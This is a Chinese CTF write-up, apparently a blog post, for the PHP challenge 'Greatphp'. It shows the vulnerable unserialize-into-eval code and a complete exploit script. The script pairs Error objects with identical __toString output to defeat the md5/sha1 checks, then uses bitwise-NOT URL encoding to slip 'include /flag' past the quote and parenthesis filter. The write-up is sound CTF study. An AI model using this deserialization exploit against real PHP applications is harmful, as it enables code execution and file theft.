# [极客大挑战 2020] Greatphp

源码:

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;
 
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}
 
if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}
 
?>

这一个条件,在普通的题目里,只需要用数组绕过即可,但是这里是在类中,该怎么绕过呢?

我们可以使用含有 __toString 方法的 php 内置类来绕过,用的两个比较多的内置类是 Exception 和 Error ,他们之中有一个 __toString fangfa , 当类被当作字符串处理时,就会调用这个函数,以 Error 类为例,我们可控当触发他的__toString 方法时会发生什么?

1

发现会以字符串的形式 输出当前报错,包含当前的错误信息, 以及他出现错误的行号 (3),从而传入 Error (“payload”,9) 中的错误代码 “9 ” 则没有被输出出来,再来看看如何 绕过 md5 以及 sha1.

2

可见 aa 和 b 这两个对象本身是不同的。但是 __toString 方法返回的结果是相同的,这里之所以需要在同一行是因为 __toString 返回的数据包含当前的行号

Exception 类与 Error 类的使用和结果完全一样,只不过 Exception 类适用于 PHP 5 和 7 而 Error 只适用于 php7

我们可以将题目代码中的 $syc 和 $lover 分别声明为类似上面的内置类对象,让着两个对象本身不同 (传入的错误代码即可), 但是 __toString 方法输出的结果相同即可。

由于题目 用 preg_match 过滤了小括号 无法调用函数,所以我们尝试 直接 include “/flag” 将 flag 包含进来即可,由于过滤了引号,我们直接用 url 取反绕过即可。

exp:

<?php
class SYCLOVER {
    public $syc;
    public $lover;
    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           

        }
    }

}
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

3

总结:
error 原生类 __toString 方法的结果是相同的。 记住行号也需要一样,他们的值是不一样的,但是呢, 结果的 md5 值是一样的,从而可以绕过 。执行 eval 函数,eval include /flag。

对 php 原生类 有了些许了解,但还需要继续学习。

Edited on

Give me a cup of [coffee]~( ̄▽ ̄)~*

odiws WeChat Pay

WeChat Pay

odiws Alipay

Alipay

odiws PayPal

PayPal